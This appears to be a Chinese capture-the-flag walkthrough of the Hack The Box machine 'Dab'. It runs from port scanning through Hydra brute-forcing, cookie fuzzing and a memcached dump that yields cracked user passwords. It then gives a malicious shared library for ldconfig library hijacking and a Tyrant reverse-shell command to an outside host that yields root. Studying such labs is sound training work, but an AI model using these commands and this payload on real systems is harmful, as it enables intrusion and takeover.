[Meachines] [Hard] Dab Enumerate+memcached+ldconfig-Lib-Hijack特權升級+Tyrant
字数 1149 2025-08-22 12:23:06
Memcached 枚举与 LDconfig 库劫持特权升级攻击教学文档
1. 信息收集阶段
1.1 目标扫描
目标IP: 10.10.10.86
开放端口:
- 21/tcp - FTP (vsftpd 3.0.3)
- 22/tcp - SSH (OpenSSH 7.2p2 Ubuntu)
- 80/tcp - HTTP (nginx 1.10.3)
- 8080/tcp - HTTP (nginx 1.10.3)
扫描命令:
ip='10.10.10.86'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.2 FTP 枚举
匿名FTP登录可用:
ftp 10.10.10.86
发现文件: dab.jpg
1.3 Web 应用枚举
登录页面: http://dab.htb/login
登录表单:
username=admin&password=admin&submit=Login
使用Hydra进行用户名枚举:
hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -p 123456 10.10.10.86 http-post-form "/login:username=^USER^&password=^PASS^&submit=Login:failed.<"
密码爆破:
hydra -L /tmp/users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.86 http-post-form "/login:username=^USER^&password=^PASS^&submit=Login:failed"
成功凭证:
username: admin
password: Password1
1.4 Cookie 枚举
使用wfuzz枚举Cookie参数:
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: FUZZ=1234" --hh 322 http://dab.htb:8080
发现有效Cookie:
wfuzz -c -w /usr/share/wordlists/rockyou.txt -H "Cookie: password=FUZZ" --hh 324 http://dab.htb:8080
有效Cookie值: password=secret
2. Memcached 枚举与利用
2.1 Memcached 交互脚本
#!/bin/bash
URL="http://10.10.10.86:8080/socket"
PORT=11211
COOKIE="password=secret"
while true; do
read -p "memcached $ " CMD
if [[ -z "$CMD" ]]; then
echo "Empty command, exiting."
break
fi
RESPONSE=$(curl -s "$URL?port=$PORT&cmd=$(printf %s "$CMD" | jq -s -R -r @uri)" -H "Cookie: $COOKIE")
OUTPUT=$(echo "$RESPONSE" | sed -n '/<pre>/,/<\/pre>/p' | sed '1d;$d')
echo "Server-echo $OUTPUT"
done
2.2 Memcached 基本命令
检查版本:
memcached $ version
VERSION 1.4.25 Ubuntu
列出统计信息:
memcached $ stats items
获取缓存数据:
memcached $ stats cachedump 16 0
ITEM stock [2807 b; 1747662955 s]
memcached $ stats cachedump 26 0
ITEM users [24625 b; 1747664979 s]
获取用户数据:
memcached $ get users
2.3 处理获取的用户数据
将获取的JSON数据转换为可破解格式:
cat exp.json2 | jq -r "to_entries | .[].value" > hashes
使用hashcat破解哈希:
hashcat hashes --wordlist rockyou.txt --force -m 0
关联用户名和密码:
jq -r 'to_entries[] | "\(.key):\(.value)"' exp.json2 | while IFS=: read user hash; do
pass=$(grep -i "^$hash:" hashes.txt | cut -d: -f2)
[ -n "$pass" ] && echo "$user: $pass"
done
获取的有效凭证:
aglae:blaster
alecona:misfits
wendell:monkeyman
admin:Password1
demogene:vieve
abbigail:Princess1
rick:piggylove
default:sucks1
d_murphy:hacktheplanet
irma:strength
2.4 SSH登录尝试
使用获取的凭证尝试SSH登录:
hydra -L Users.txt -P Pass.txt ssh://10.10.10.86
成功登录:
ssh genevieve@10.10.10.86
密码: s3cur3l0g1n
获取user flag:
f74c94747225cebf151f6db052841099
3. 特权升级: LDconfig 库劫持 + Tyrant
3.1 分析目标二进制文件
复制目标二进制文件到本地分析:
scp genevieve@10.10.10.86:/usr/bin/myexec /tmp/myexec
使用GDB分析:
gdb -q ./myexec
检查依赖库:
ldd /usr/bin/myexec
3.2 分析libseclogin.so
复制库文件到本地:
scp genevieve@10.10.10.86:/usr/lib/libseclogin.so /tmp/libseclogin.so
3.3 创建恶意库
exp.c内容:
#include <stdio.h>
void seclogin() {
setuid(0);
setgid(0);
execl("/home/genevieve/tyrant", "", NULL);
}
编译为共享库:
gcc -shared -fPIC /dev/shm/exp.c -o /dev/shm/libseclogin.so
3.4 使用Tyrant工具
从GitHub获取Tyrant:
https://github.com/MartinxMax/Tyrant
上传到目标:
scp ./tyrant genevieve@10.10.10.86:/home/genevieve/tyrant
设置权限:
chmod +x /home/genevieve/tyrant
3.5 配置LD_LIBRARY_PATH
创建配置文件:
echo "/dev/shm" > /dev/shm/exp.conf
更新库路径:
ldconfig -f /dev/shm/exp.conf
验证库路径:
ldd /usr/bin/myexec
3.6 执行特权升级
执行目标二进制:
/usr/bin/myexec
运行Tyrant获取root shell:
./tyrant -uid 0 -rhost 10.10.16.26 -rport 443
获取root flag:
440ef65a3aa216209f2698f317bfd0c4
4. 关键点总结
-
信息收集:
- 全面扫描目标开放端口和服务
- 注意匿名FTP访问
- 仔细分析Web应用功能点
-
凭证枚举:
- 使用Hydra和wfuzz进行有效枚举
- 注意细微的响应差异
- 利用Memcached暴露的敏感信息
-
特权升级:
- 识别SUID/SGID二进制文件
- 分析动态链接库依赖
- 利用ldconfig进行库劫持
- 使用Tyrant工具稳定获取root权限
-
规避限制:
- 注意/tmp目录可能被清空
- 使用/dev/shm作为替代
- 检查挂载选项(noexec/nosuid)
通过以上步骤,可以系统地完成从信息收集到特权升级的完整攻击链。